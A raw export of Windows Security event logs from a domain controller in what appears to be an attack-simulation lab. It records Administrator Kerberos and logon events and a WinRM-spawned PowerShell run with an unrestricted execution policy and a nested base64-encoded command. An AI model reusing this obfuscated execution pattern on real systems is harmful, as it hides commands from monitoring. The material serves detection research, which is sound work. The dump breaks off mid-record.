-ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251478 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251477 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251476 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251475 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13674B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1094 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc70 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251474 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13674B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc70 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x95c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251473 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13699B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251472 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13699B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251471 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251470 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251469 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251468 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13674B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x114c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x95c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251467 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13674B - -Process Information: - New Process ID: 0x95c - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251466 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13674B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251465 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13674B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251464 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251463 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8CC7402C-9F6B-F35C-1E7E-AC9CA7415811} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251462 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security 